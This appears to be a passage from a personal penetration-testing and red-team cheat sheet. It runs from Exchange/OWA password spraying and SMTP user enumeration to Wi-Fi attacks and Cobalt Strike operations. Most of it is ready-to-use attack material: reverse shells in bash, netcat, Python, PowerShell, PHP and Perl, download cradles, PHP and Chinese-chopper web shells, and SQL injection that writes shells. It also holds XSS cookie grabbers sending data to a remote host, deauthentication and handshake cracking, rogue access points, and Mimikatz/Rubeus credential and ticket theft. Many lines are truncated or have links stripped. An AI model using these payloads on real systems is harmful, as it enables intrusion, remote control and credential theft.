PS > Invoke-UsernameHarvestOWA -ExchHostname [Link] -Domain MEGACORP -UserList .\owa-

Password Spray

Ruler

[Link]

Autodiscover URL implicit:

$ ./ruler -k -d [Link] brute --users [Link] --passwords [Link] --delay 35 --at

Autodiscover URL explicit:

$ ./ruler -k --nocache --url [Link] -

Notes:

In [Link] there's only "username" on a line, not "DOMAIN\username".

Errors like ERROR: [Link] [Link]: An error occured in connection -


Get [Link] Get
[Link]
net/http: request canceled do not affect the current password probe.

Enumerate NTLM

[Link]
[Link]
Nmap

$ sudo nmap -sV --script http-ntlm-info --script-args [Link]=/ews/ -p443 [Link]

MSF

msf > use auxiliary/scanner/http/owa_login


msf > set AUTH_TIME false
msf > set RHOST [Link]
msf > set USERNAME dummyUser
msf > set PASSWORD dummyPassword
msf > run

MailSniper

[Link]

PS > Invoke-DomainHarvestOWA -ExchHostname [Link]

SharePoint

[Link]
[Link]
through-web-parts

SMTP
Simple Mail Transfer Protocol

Check if sender could be forged with an domain user:

$ telnet [Link] 25
HELO [Link]
MAIL FROM: <forged@[Link]>
RCPT TO: <exists@[Link]>
RCPT TO: <exists@[Link]>

Check if sender could be forged with a non-domain user:

$ telnet [Link] 25
HELO
MAIL [Link]
FROM: <forged@[Link]>
RCPT TO: <exists@[Link]>
RCPT TO: <exists@[Link]>

Check if domain users could be enumerated with VRFY and EXPN :

$ telnet [Link] 25
HELO [Link]
VRFY exists@[Link]
EXPN exists@[Link]

Check if users could be enumerated with RCPT TO :

$ telnet [Link] 25
HELO [Link]
MAIL FROM: <...>
RCPT TO: <exists@[Link]>
DATA

From: <...>
To: <exists@[Link]>
Subject: Job offer
Hello, I would like to offer you a great job!
.
QUIT

RCPT

smtp-enum

[Link]

$ ./[Link] -d [Link] -s [Link] -f [Link] -m rcptto -o [Link]

smtp-user-enum

[Link]

$ smtp-user-enum -M RCPT -f '<root@[Link]>' -u '<[Link]@[Link]>' -t [Link].c


$ smtp-user-enum -M RCPT -D [Link] -U [Link] -t [Link]
SPF/DKIM/DMARC

[Link]

[Link]
propisany/

[Link]

Tools

swaks

[Link]

$ swaks --to [Link]@[Link] --from snovvcrash@[Link] --header 'Subject: Hello, frien

SSH
Secure Shell

Password spray with a private key and passphrase Passw0rd! using CME:

$ cme ssh [Link] -u snovvcrash -p 'Passw0rd!' --key-file id_rsa

Enum Users
CVE-2018-15473

msf > use auxiliary/scanner/ssh/ssh_enumusers


msf > set CHECK_FALSE true
msf > set RHOSTS file:[Link]
msf > set THREADS 25
msf > set USERNAME root
msf > run

Subdomain Takeover
[Link]

Shells

Upgrade to PTY

[Link]

[Link]

[Link]

[Link]

# Spawn PTY
$ if python3 -V > /dev/null 2>&1; then

python3 -c 'import pty; [Link]("/bin/bash")'


elif python -V > /dev/null 2>&1; then
python -c 'import pty; [Link]("/bin/bash")'
fi
Or
$ script -q /dev/null /bin/bash

# Background remote shell


user@remote:~$ ^Z

# Get rows and cols from local terminal


root@kali:~$ stty -a | head -n1 | cut -d ';' -f 2-3 | cut -b2- | sed 's/; /\n/'

# Disable local output in terminal


root@kali:~$ stty raw -echo; fg

# (optional) Reset remote terminal


user@remote:~$ reset

# Set rows and columns for proper text aligning


user@remote:~$ stty rows ${ROWS} cols ${COLS}

# For CTRL-L to work


user@remote:~$ export TERM=xterm / xterm-color / xterm-256color

# (optional) Get Bash new process image


user@remote:~$ exec /bin/bash [-l]
[Link]

ShellPop

[Link]

Bash reverse TCP example:

$ shellpop -H [Link] -P 9001 --reverse --number 8 --base64

pwncat

[Link]
[Link]

xxh

[Link]

$ pipx install xxh-xxh


$ source [Link] -i id_rsa snovvcrash@[Link] +I xxh-plugin-zsh-ohmyzsh +if [+q/+vv]
$ ssh -i id_cthulhu snovvcrash@[Link] -f "rm -rf .xxh"

Reverse Shells

[Link]
[Link]

Bash

/bin/bash -c '/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <LPORT> >/tmp/f

Python
IPv4

import socket,subprocess,os;s=[Link](socket.AF_INET,socket.SOCK_STREAM);[Link](("<LH
import socket,os,pty;s=[Link](socket.AF_INET,socket.SOCK_STREAM);[Link](("<LHOST>",<

IPv6

import socket,subprocess,os;s=[Link](socket.AF_INET6,socket.SOCK_STREAM);[Link](("<L
import socket,os,pty;s=[Link](socket.AF_INET6,socket.SOCK_STREAM);[Link](("<LHOST>"

PowerShell

[Link]

[Link]
[Link]

[Link]

$client = New-Object [Link]("[Link]",1337);$stream = $[Link]

$socket = new-object [Link]("[Link]",1337);


if($socket -eq $null){exit 1}
$stream = $[Link]();
$writer = new-object [Link]($stream);
$buffer = new-object [Link][] 1024;
$encoding = new-object [Link];
do
{
$[Link]();
$read = $null;
$res = ""
while($[Link] -or $read -eq $null) {
$read = $[Link]($buffer, 0, 1024)
}
$out = $[Link]($buffer, 0, $read).Replace("`r`n","").Replace("`n","");
if(!$[Link]("exit")){
$args = "";
if($[Link](' ') -gt -1){
$args = $[Link]($[Link](' ')+1);
$out = $[Link](0,$[Link](' '));
if($[Link](' ').length -gt 1){
$pinfo = New-Object [Link]
$[Link] = "[Link]"
$[Link] = $true
$[Link] = $true
$[Link] = $false
$[Link] = "/c $out $args"
$p = New-Object [Link]
$[Link] = $pinfo
$[Link]() | Out-Null
$[Link]()
$stdout = $[Link]()
$stderr = $[Link]()
if ($[Link] -ne 0) {
$res = $stderr
} else {
$res = $stdout
}
}
else{
$res = (&"$out" "$args") | out-string;
}
}

else{
$res = (&"$out") | out-string;
}
if($res -ne $null){
$[Link]($res)
}
}
}While (!$[Link]("exit"))
$[Link]();
$[Link]();
$[Link]()

#$a=New-Object [Link]("[Link]",1337);if($a -eq $null){exit 1}$b=$a

Download Cradles

[Link]
[Link]

PHP

<?php echo passthru("/bin/bash -c '/bin/bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"); ?>


Perl
use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(conn

[Link]

Netcat

[Link]

$ {[Link]|nc|ncat|netcat} <LHOST> <LPORT> {-e|-c} /bin/bash

Meterpreter

unicorn

[Link]

$ python3 [Link] windows/meterpreter/reverse_https [Link] 443


$ sudo msfconsole -qr [Link]
PS > IEX(New-Object [Link]).DownloadString('powershell_attack.txt')

Listeners

$ {[Link]|nc|ncat|netcat} [-6] -lvnp <LPORT>

Transport over DNS

[Link]
[Link]
[Link]

dnscat2

[Link]
[Link]

chashell

[Link]

Buy and configure DNS (e.g., [Link] ):

A * -> <IP>
A @ -> <IP>

A chashell -> <IP>


NS c -> [Link]

Get dependencies:

$ export GOPATH=/home/snovvcrash/code/go
$ export PATH=$GOPATH:$GOPATH/bin:$PATH
$ go get -v -u [Link]/golang/dep/cmd/dep
$ go get [Link]/mitchellh/gox
$ cd $GOPATH/src/[Link]/golang/dep
$ go install ./...

Clone chashell into $GOPATH/src (otherwise, dep will error out):

$ git clone [Link] $GOPATH/src/chashell


$ cd $GOPATH/src/chashell

Build binaries:

$ export ENCRYPTION_KEY=$(python -c 'from os import urandom; print(urandom(32).encode("hex"))


$ export DOMAIN_NAME=[Link]
$ make build-all OSARCH="linux/amd64"

Run server on Attacker:

$ cd release/
$ sudo systemctl stop systemd-resolved
$ sudo ./chaserv_linux_amd64
Run client on Victim:

$ ./chashell_linux_amd64

Tools

[Link]

[Link]

VbRev

[Link]

xc

[Link]

Listen:

$ rlwrap ./xc -l -p 443

Launch:

PS > Start-Process -NoNewWindow .\[Link] "[Link] 443"

Web Shells

PHP

[Link]

<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1');} ?>

ASP
JScript

Chinese chopper:

// Server-side
<script language="JScript" runat="server"> function Page_Load(){/**/eval(Request["cmd"],"unsaf
// Client-side
[Link](new ActiveXObject("[Link]").exec("cmd /c whoami").[Link]())

Web

[PDF] Frogy's Mindmap

Pentesting Web Applications Mindmap

Upgrade Burp

Downloads / Jython
Using Burp's Session Handling Rules with anti-CSRF Tokens - PortSwigger
Burp и его друзья / Блог компании Digital Security / Хабр

Прокачай свой Burp! 11 наиболее полезных плагинов к Burp Suite — «Хакер»


Шаг за шагом. Автоматизируем многоходовые атаки в Burp Suite — «Хакер»

Extensions

BApp Store:

ActiveScan++ Pro

Add Custom Header

Additional CSRF Checks

Additional Scanner Checks Pro


Attack Surface Detector
Backslash Powered Scanner Pro
Collaborator Everywhere Pro

CSRF Scanner Pro

Freddy, Deserialization Bug Finder Pro


HTTP Request Smuggler
IP Rotate

J2EEScan Pro

Java Deserialization Scanner Pro


Java Serialized Payloads
JS Link Finder Pro
JSON Beautifier

JSON Web Token Attacker


Logger++
SQLiPy Sqlmap Integration
SSL Scanner
Taborator Pro

WordPress Scanner

GitHub:

Femida XSS
SHELLING
Burp Vulners Scanner
HackBar
Tools

nikto

[Link]

$ nikto -h [Link] -Cgidirs all

dnsrecon

[Link]

Perform reverse DNS lookup for IPs in subnet [Link]/24 with a name server at [Link] :

$ dnsrecon -r [Link]/24 -n [Link] -d DoesNotMatter

gobuster

[Link]
[Link]

$ gobuster dir -ku '[Link] -w /usr/share/wordlists/dirbuster/directory-list[-lower


$ gobuster dir -ku '[Link] -w /usr/share/seclists/Discovery/Web-Content/raft-small

wfuzz

[Link]
[Link]

$ wfuzz -e encoders
$ wfuzz -c -u '[Link] -w /usr/share/seclists/Fuzzing/4-digits-0
$ wfuzz -c -u '[Link] --basic 'FUZZ:FUZ2Z' -w /usr/share/seclists/Usernames/top-u

ffuf

[Link]
[Link]
aquatone

[Link]

Default ports:

$ cat [Link] | ./aquatone -ports 80,443,8000,8080,8443 -out 10.0-255.0-255.0-255

From Nmap XML:

$ ports=`cat nmap/[Link] | grep -ioP '\d+/open/tcp//http' | awk -F/ '{print $1}' | sort -u
$ cat [Link] | ./aquatone -ports $ports -out 10.0-255.0-255.0-255_nmap
Or
$ cat nmap/[Link] | ./aquatone -out 10.0-255.0-255.0-255_nmap

amass

[Link]

Об обнаружении субдоменов
snovvcrash@gh-pages:~$ _

$ amass intel -active -config [Link] -whois -df [Link] -ipv4 -src -v -o [Link]
$ amass enum -active -brute -config [Link] -df [Link] -ipv4 -src -v -o [Link]

subfinder

[Link]

$ subfinder -all -config [Link] -d [Link] -o [Link] [-oI -nW]

shuffledns

[Link]

$ shuffledns -d [Link] -r /opt/dnsvalidator/[Link] -w /usr/share/commonspeak2-wo

massdns

[Link]
[Link]

$ massdns -r /opt/dnsvalidator/[Link] [Link] -w [Link] -o S

dnsx

[Link]

$ dnsx -l [Link] -resp -a -aaaa -cname -mx -ns -soa -txt


$ dnsx -d [Link] -r [Link],[Link] -w /usr/share/seclists/Discovery/DNS/..

chaos

[Link]

$ chaos -d [Link] -key <API_KEY> -http-status-code -http-title -http-url -o [Link]

nuclei
[Link]

$ nuclei -update-templates
$ nuclei -l [Link] -t cves/ -o [Link]

httpx

[Link]

$ httpx -l [Link] -vhost -http2 -pipeline -title -content-length -status-code -follow-red

2FA Bypass

[XMind] 2FA Bypass Techniques Mindmap

LFI / RFI
Local / Remote File Inclusion

PHP RFI with SMB

[Link]

/etc/samba/[Link] :

log level = 3
[share]
comment = TEMP
path = /tmp/smb
writable = no
guest ok = yes
guest only = yes
read only = yes
browsable = yes
directory mode = 0555
force user = nobody

$ chmod 0555 /tmp/smb


$ chown -R nobody:nogroup /tmp/smb
$ service smbd restart
$ tail -f /var/log/samba/log.<HOSTNAME>
Log Poisoning

PHP

[Link]

[Link]

Access log (needs single ' instead of double " ):

$ nc [Link] 80
GET /<?php system($_GET['cmd']); ?>

$ curl '[Link]
Or
$ curl '[Link]

Error log:

$ curl -X POST '[Link] --form "userfile=@docx/[Link]" --form 'submit


$ curl '[Link]
Or
$ curl '[Link]

SOP / CORS
Same-Origin Policy / Cross-Origin Resource Sharing

[Link]
[Link]
[Link]

CORS Server
An HTTPS server with CORS header accepting connections from any domain in Flask:

[Link]
from flask import Flask, send_file
from flask_cors import CORS

app = Flask(__name__)
CORS(app)

@[Link]('/[Link]', methods=['GET'])
def xss():
return send_file('./[Link]', download_name='[Link]')

# openssl req -x509 -newkey rsa:4096 -nodes -out [Link] -keyout [Link] -days 365
[Link](host='[Link]', port=443, ssl_context=('[Link]', '[Link]'))

SQLi
SQL Injection

MySQL

DIOS

[Link]
[Link]

[Link]
[Link]

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM (information_schem

SELECT (@a) FROM (


SELECT(@a:=0x00), (
SELECT (@a) FROM (information_schema.schemata)
WHERE (@a) IN (@a:=concat(@a,schema_name,'\n'))
)
) foo

id=1' UNION SELECT 1,(SELECT (@a) FROM (SELECT (@a:=0x00),(SELECT (@a) FROM ([Link]) WH

Truncation Attack

SQL Truncation Attack Video


POST /[Link] HTTP/1.1
Host: [Link]

name=snovvcrash&email=admin%[Link]++++++++++11&password=qwe12345

Commas blocked by WAF

id=-1' UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from mysql.innodb_table_stats)b

Write File

id=1' UNION ALL SELECT 1,2,3,4,"<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1')


id=1' UNION SELECT 1,2,3,4,5,6 INTO OUTFILE '/var/www/html/[Link]' LINES TERMINATED BY 0

Read File

id=1' UNION ALL SELECT LOAD_FILE('c:\\xampp\\htdocs\\admin\\[Link]'),2,3-- -

MS SQL

[Link]
[Link]

sqlmap
Usage · sqlmapproject/sqlmap Wiki

PayloadsAllTheThings/SQL Injection

Write file:

$ sqlmap -r [Link] --batch --file-write=./[Link] --file-dest=C:/Inetpub/wwwroot/bac

Test WAF:

[Link]

$ [Link] -u '[Link] --data='{"id":"*"}' -p id --identify-waf --tamper

WAF

Web Application Firewall

Enum WAF:

$ nmap -sV --script http-waf-detect [Link] -p80


$ nmap -sV --script http-waf-fingerprint [Link] -p80
+ [Link]

WordPress

[Link]

Malicious Plugin
Write a web shell with a malicious plugin.

Copy a plugin shell from SecLists and zip it:

$ cp /usr/share/seclists/Web-Shells/WordPress/[Link] .
$ zip [Link] [Link]
Upload [Link] (Plugins > Add New) and install it (Upload Plugin > Browse... > Install Now)
b td t ti t ! N th b h ll
$ curl '[Link]

wpscan

[Link]

[Link]

$ wpscan --url [Link] --api-token <API_TOKEN> --force -e ap [--plugins-detecti


$ wpscan --url [Link] --api-token <API_TOKEN> --force --passwords /usr/share/s

XSS
Cross-Site Scripting

Ultimate checker: '"/><script>print()</script> .

Redirections

[Link]

<head>
<meta http-equiv="refresh" content="0; URL=[Link] />
</head>

Data Grabbers

Cookies

[Link]

Img tag:

<img src="x" onerror="[Link]='[Link]


Fetch:

<script>
fetch('[Link] {
method: 'POST',
mode: 'no-cors',
body: [Link]
});
</script>

XMLHttpRequest

XSS to LFI

[Link]

<script>
var xhr = new XMLHttpRequest;
[Link] = function() {
[Link]([Link]);
};
[Link]("GET", "[Link]
[Link]();
</script>

<script>x=new XMLHttpRequest;[Link]=function(){[Link]([Link]);};[Link]("G

XSS to CSRF

[Link]

If the endpoint is accessible only from localhost:

<script>
var xhr;
if ([Link]) {
xhr = new XMLHttpRequest();
} else {
xhr = new ActiveXObject("[Link]");
}
[Link]("POST", "/[Link]");
[Link]("Content-type", "application/x-www-form-urlencoded");
[Link]("cmd=powershell -enc ...");
</script>

With capturing CSRF token first:

<script>
var req = new XMLHttpRequest();
[Link] = handleResponse;
[Link]('GET', '/email', true);
[Link]();
function handleResponse() {
var token = [Link](/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
[Link]('POST', '/email/change-email', true);
[Link]('csrf='+token+'&email=test@[Link]')
};
</script>

Wi-Fi

[Link]
[Link]
[Link]

Could not load image

Pentesting Wi-Fi Mindmap


Hardware

TP-Link TL-WN722N v2/v3

[Link]

[Link]
wardriving.70594/

Chipset: TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS].

Check kernel version:

$ uname -r
5.8.0-kali2-amd64

Install kernel headers:

$ sudo apt install -y bc linux-headers-amd64

Build drivers from source and install:

$ sudo -i
# echo "blacklist r8188eu" >> "/etc/modprobe.d/[Link]"
# git clone [Link] /opt/rtl8188eus && cd /opt/
# make && make install
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Alfa AWUS036ACH AC1200

[Link]

Chipset: Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R DB WLAN Adapter.

Install drivers with apt:

$ sudo apt update && sudo apt upgrade -y


$ sudo apt install realtek-rtl88xxau-dkms
$ sudo reboot

Or build from source and install:


$ sudo -i
# git clone [Link] /opt/rtl8812au && cd /opt/rtl8812au
# ./[Link]
# reboot

Test for packet injections:

$ sudo aireplay-ng -9 wlan1

Prologue
Install stuff:

$ sudo apt install lshw cowpatty -y

Make sure lsusb can see the wireless adapters (it would show the chipset):

$ lsusb
Bus 001 Device 003: ID 2357:010c TP-Link TL-WN722N v2/v3 [Realtek RTL8188EUS]
Bus 001 Device 010: ID 0bda:8812 Realtek Semiconductor Corp. RTL8812AU 802.11a/b/g/n/ac 2T2R D

Make sure iwconfig can see the wireless adapter:

$ ifconfig
$ iwconfig
$ iw dev

Turn on monitor mode manually:

$ sudo ip link set wlan1 down


$ sudo iwconfig wlan1 mode monitor
$ sudo ip link set wlan1 up
$ iwconfig

Undo:

$ sudo ip link set wlan1 down


$ sudo iwconfig wlan1 mode managed
$ sudo ip link set wlan1 up
$ iwconfig

Or create a separate virtual interface in monitor mode:


$ sudo ip link set wlan1 down
$ sudo iw dev wlan1 interface add wlan1mon type monitor
$ sudo ip link set wlan1 up
$ sudo service NetworkManager restart
$ iwconfig

Undo:

$ sudo ip link set wlan1 down


$ sudo iw dev wlan1mon del
$ sudo ip link set wlan1 up
$ iwconfig

Or do it with airmon-ng:

$ sudo airmon-ng start wlan1

In fact, that does not need to be done as airodump-ng can put the wireless card into monitor mode
automatically:

$ sudo airodump wlan1

Make sure, you're not using the default MAC:

$ macchanger -s wlan1

Restart NM when there are troubles with Internet connection:

$ sudo service NetworkManager restart

Misc

WLAN channels

[Link]
Could not load image

Unlicened Spectrum and Channel Allocations

Signal Strength

[Link]

WPA / WPA2

Enterprise
Wi-Fi Protected Access Enterprise

[Link]
lo0tbo0ty-karma-edition-f72e7995aef2

[Link]

hostapd-wpe

[Link]
[Link]
[Link]

1. Install dependencies:

$ sudo apt install libnl-3-dev libssl-dev


$ sudo apt install hostapd-wpe

2. Install and configure hostapd-wpe:


$ sudo vi /etc/hostapd-wpe/[Link]
...
interface=wlan1
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user
ssid=NotEvilTwinAP
channel=1
hw_mode=b
auth_server_addr=[Link]
auth_server_port=18120
auth_server_shared_secret=S3cr3t!
wpa_pairwise=TKIP CCMP

3. Run fake AP with RADIUS server:

$ sudo airmon-ng check kill


$ sudo /usr/sbin/hostapd-wpe /etc/hostapd-wpe/[Link]

4. Crack Net-NTLM hashes (mask example):

$ hashcat -m 5500 -a 3 [Link] -1 ?d?l ?1?1?1?1?1?1?1?1


$ hashcat -m 5500 -a 3 [Link] -1 ?d?l?u ?1?1?1?1?1?1?1?1
$ hashcat -m 5500 -a 3 [Link] -1 ?d?l?u?s ?1?1?1?1?1?1?1?1

apd_launchpad

[Link]
[Link]

$ python ~/tools/apd_launchpad/apd_launchpad.py -t radius -s MegaCorp -i wlan1 -ch 1 -cn '*.me


$ vi radius/[Link]
...
eap_user_file=/etc/hostapd-wpe/hostapd-wpe.eap_user

EAPHammer

[Link]

Setup:

$ git clone [Link] ~/tools/eaphammer && cd ~/tools/eaphamme


$ sudo ./kali-setup
$ sudo python3 -m pip install flask-cors flask-socketio --upgrade

Create a certificate:

$ sudo ./eaphammer --cert-wizard

Steal RADIUS creds:

$ sudo ./eaphammer --bssid [Link] --essid Example --channel 1 --interface wlan1 --a

Personal
Wi-Fi Protected Access Personal

4-Way Handshake

[Link]
[Link]

[Link]
[Link]
[Link]

[Link]

[Link]

1. Look for targets. Save BSSID ( [Link] ), CH ( 9 ), ESSID ( SomeEssid ) and STATION
( [Link] ) if deauth will be required:

$ sudo airodump-ng -M -U wlan1 [-c 36-165 (for 5GHz, see WLAN channels) or just -c 1-200 for a
qq

2. Start dumping the target's traffic:

[$ sudo iwconfig wlan1 channel 9]


$ sudo airodump-ng -c 9 --bssid [Link] -w SomeEssid wlan1

3. Send DeAuth packets in a separate terminal till WPA handshake: XX:XX:XX:XX:XX:XX appears
(aggressive):

$ sudo aireplay-ng [-D] -0 2 -a [Link] -c [Link] wlan1


Or
$ for client in `cat [Link].txt`; do sudo aireplay-ng -D -0 2 -a [Link]

4. Clean the capture, check it once again, covert to Hashcat format and crack it:

$ aircrack-ng SomeEssid*.cap
$ wpaclean [Link] [Link]
$ cowpatty -r [Link] -s SomeEssid -c
$ /usr/lib/hashcat-utils/[Link] [Link] [Link]
$ hashcat -m 2500 -O -a 0 -w 4 --session=wpa2 -o [Link] [Link] [Link] seclists/Pa

wifite2

$ sudo wifite -vi wlan1 --clients-only --wpa --no-wps

PMKID

[Link]

wifite2

$ sudo wifite -vi wlan1 --pmkid

wifite2

[Link]
[Link]

«Поэтому оптимальный алгоритм взло… аудита следующий: определяем, включен ли на целевой


точке доступа режим WPS. Если да, запускаем PixieDust. Безуспешно? Тогда перебор известных
пинов. Не получилось? Проверяем, не включено ли шифрование WEP, которое тоже обходится
влет. Если нет, то выполняем атаку PMKID на WPA(2). Если уж и так не получилось, тогда
вспоминаем классику и ждем хендшейка (чтобы не палиться) или активно кикаем клиентов, чтобы
наловить их сессии авторизации.» — ][

Install wifite2:

$ git clone [Link] ~/tools/wifite2 && cd ~/tools/wifite2


$ sudo python [Link] install

Install hcxdumptool (for capturing PMKID hashes):

$ git clone [Link] ~/tools/hcxdumptool && cd ~/tools/hcxdum


$ sudo apt install libcurl4-openssl-dev libssl-dev -y
$ make
$ sudo make install

Install (for converting PMKID packet captures into hashcat's format):

$ git clone [Link] ~/tools/hcxtools && cd ~/tools/hcxtools


$ make
$ sudo make install

Fire up wifite2:

$ sudo wifite -vi wlan1 [--kill] [-5]

airgeddon

[Link]

$ git clone --depth 1 [Link] ~/tools/airgeddon && cd ~


$ sudo bash [Link]

wifiphisher

[Link]
Creating a custom phishing scenario · wifiphisher/wifiphisher

Install:

$ git clone [Link] ~/tools/wifiphisher && cd ~/tools/w


$ sudo python3 [Link] install # Install any dependencies

Start a rogue AP with fake captive portal (firmware update scenario) on wlan1 and deauth clients with
wlan2:
$ sudo wifiphisher -aI wlan1 -eI wlan2 -p wifi connect

⚔️Red Team
Basics

"Everything is stealthy until someone is looking for it." - @tifkin_

[Link]
[Link]

Tactics

[Link]
[PDF] WarCon22 - Modern Initial Access and Evasion Tactics (Mariusz Banach)

RTFM

[Link]

[PDF] Red Team Field Manual v3

Cobalt Strike

[Link]
[Link]

Malleable C2 Profiles

[Link]
[Link]
Aggressor Scripts

[Link]
[Link]

[Link]

Community Kit

[Link]
[Link]

P2P Beacons
Beacon TCP and Beacon SMB are Peer-to-Peer beacons which means they're used to chain a connection
to an existent beacon. They act like bind shells and waits for the attacker to connect to them.

Connect to a TCP beacon:

beacon> connect <IP> <PORT>

Connect to an SMB beacon:

beacon> link <IP>

DNS Beacons

[Link]

Create an A record [Link] pointing to IP address of the redirector and then an NS record
pointing to [Link] .

Before starting a DNS listener, the localhost resolver should be shut down if necessary: sudo
systemctl disable systemd-resolved --now .
socat Redirector

On the redirector:

$ sudo socat -T 1 udp4-listen:53,fork tcp4:<TEAMSERVER_IP>:5353

On the team server:

$ socat -T 10 tcp4-listen:5353,fork udp4:[Link]:53

iptables Redirector

Add

[Link]
sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -I INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -A PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -A PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -A POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -I FORWARD -j ACCEPT

Delete

[Link]
sudo sh -c 'echo 0 > /proc/sys/net/ipv4/ip_forward'
sudo iptables -D INPUT -p udp -m udp --dport 53 -j ACCEPT
sudo iptables -t nat -D PREROUTING -m state --state NEW --protocol udp --destinatio
sudo iptables -t nat -D PREROUTING -m mark --mark 0x400 --protocol udp -j DNAT --to
sudo iptables -t nat -D POSTROUTING -m mark --mark 0x400 -j MASQUERADE
sudo iptables -D FORWARD -j ACCEPT

DNSMasq Redirector

[Link]
Overpass the Hash
More opsec PtH than builtin pth command (which does the Mimikatz sekurlsa::pth thing with named
pipe impersonation):

beacon> mimikatz sekurlsa::pth /user:snovvcrash /domain:[Link] /ntlm:fc525c9683e8fe067


beacon> steal_token 1337

Same with Rubeus (must be in elevated context):

beacon> execute-assembly [Link] asktgt /user:snovvcrash /domain:[Link] /aes256:94b


beacon> steal_token 1337

Use Rubeus with lower privileges:

beacon> execute-assembly [Link] asktgt /user:snovvcrash /domain:[Link] /aes256:94b

PS > [[Link]]::WriteAllBytes("C:\Windows\Tasks\[Link]", [[Link]]::FromBase6

Or
$ echo -en "<BASE64_TICKET>" | base64 -d > [Link]

beacon> run klist


Or
beacon> execute-assembly [Link] klist

beacon> make_token MEGACORP\snovvcrash dummy_Passw0rd!


beacon> kerberos_ticket_use C:\Windows\Tasks\[Link]

Pass-the-Ticket
Create a sacrificial process, import the TGT into its logon session and steal its security token:

beacon> execute-assembly [Link] createnetonly /program:C:\Windows\System32\[Link]


beacon> execute-assembly [Link] ptt /luid:0x1337 /ticket:<BASE64_TICKET>
beacon> beacon> steal_token 1337

Pivoting
Make any traffic hitting port 8443 on Victim to be redirected to [Link] on port 443 (traffic flows through
the team server):

beacon> rportfwd 8443 [Link] 443


Make any traffic hitting port 8080 on Victim to be redirected to localhost:8080 on Attacker (traffic flows
through the CS client):

beacon> rportfwd_local 8080 [Link] 80

Extending jump with Invoke-DCOM.ps1:

sub invoke_dcom
{
local('$handle $script $oneliner $payload');

# acknowledge this command1


btask($1, "Tasked Beacon to run " . listener_describe($3) . " on $2 via DCOM", "T1021");

# read in the script


$handle = openf(getFileProper("C:\\Tools", "Invoke-DCOM.ps1"));
$script = readb($handle, -1);
closef($handle);

# host the script in Beacon


$oneliner = beacon_host_script($1, $script);

# generate stageless payload


$payload = artifact_payload($3, "exe", "x64");

# upload to the target


bupload_raw($1, "\\\\ $+ $2 $+ \\C$\\Windows\\Temp\\[Link]", $payload);

# run via this powerpick


bpowerpick!($1, "Invoke-DCOM -ComputerName $+ $2 $+ -Method [Link] -Command C:\

# link if p2p beacon


beacon_link($1, $2, $3);
}

beacon_remote_exploit_register("dcom", "x64", "Use DCOM to run a Beacon payload", &invoke_dcom

Forward SOCKS server's port from team server to the client:

beacon> socks 1080


$ ssh -tt -v -L 9050:localhost:1080 root@teamserver

Credentials

DPAPI
List credential blobs:

beacon> ls C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials

List vault credentials:

beacon> run vaultcmd /listcreds:"Windows Credentials" /all


beacon> mimikatz vault::list

Check which master keys correspond to credential blobs (look for guidMasterKey field with GUID):

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB

The master key is stored here:

beacon> ls C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<SID>

Decrypt the master key via RPC on the Domain Controller and show it:

beacon> mimikatz dpapi::masterkey /in:C:\Users\snovvcrash\AppData\Roaming\Microsoft\Protect\<S

Decrypt the blob with decrypted master key:

beacon> mimikatz dpapi::cred /in:C:\Users\snovvcrash\AppData\Local\Microsoft\Credentials\<BLOB

Evasion

Sleep Mask

Shellcode In-Memory Fluctuation (Obfuscate and Sleep)

[Link]
[Link]

Infrastructure
[Link]
[Link]

[Link]

[Link]
[PDF] Orchestrating Resilient Red Team Operations (Yiannis Ioannides)

Nebula

[Link]

[Link]

Install:

$ sudo mkdir -p /opt/nebula/certs


$ sudo eget -s linux/amd64 --download-only slackhq/nebula --to /opt/nebula && cd /opt/nebula
$ sudo tar -xzvf [Link] && sudo rm [Link]
$ sudo mv nebula-cert certs && cd certs

Make certs for the lighthouse, teamserver and proxy (redirector):

$ sudo ./nebula-cert ca -name 'hax0r1337, Inc.'


$ sudo ./nebula-cert sign -name lighthouse -ip "[Link]/24"
$ sudo ./nebula-cert sign -name teamserver -ip "[Link]/24" -groups "teamservers"
$ sudo ./nebula-cert sign -name proxy1 -ip "[Link]/24" -groups "proxies"

Configs:

Lighthouse

[Link]
pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]

static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: true

listen:
host: [Link]
port: 4242

punchy:
punch: true

tun:
disabled: false
dev: nebula1
drop_local_broadcast: false
drop_multicast: false
tx_queue: 500
mtu: 1300
routes:
unsafe_routes:

logging:
level: info
format: text

firewall:
conntrack:
tcp_timeout: 12m
udp_timeout: 3m
default_timeout: 10m
max_connections: 100000

outbound:
- port: any
proto: any
host: any

inbound:
- port: any
proto: icmp
host: any

- port: 4789
proto: any
host: any

- port: 22
proto: any
cidr: [Link]/24

Teamserver

[Link]
pki:
ca: /opt/nebula/certs/[Link]
cert: /opt/nebula/certs/[Link]
key: /opt/nebula/certs/[Link]

static_host_map:
"[Link]": ["<LIGHTHOUSE_IP>:4242"]

lighthouse:
am_lighthouse: false
interval: 60
hosts:
- "[Link]"

listen:
host: [Link]
port: 4242

punchy:
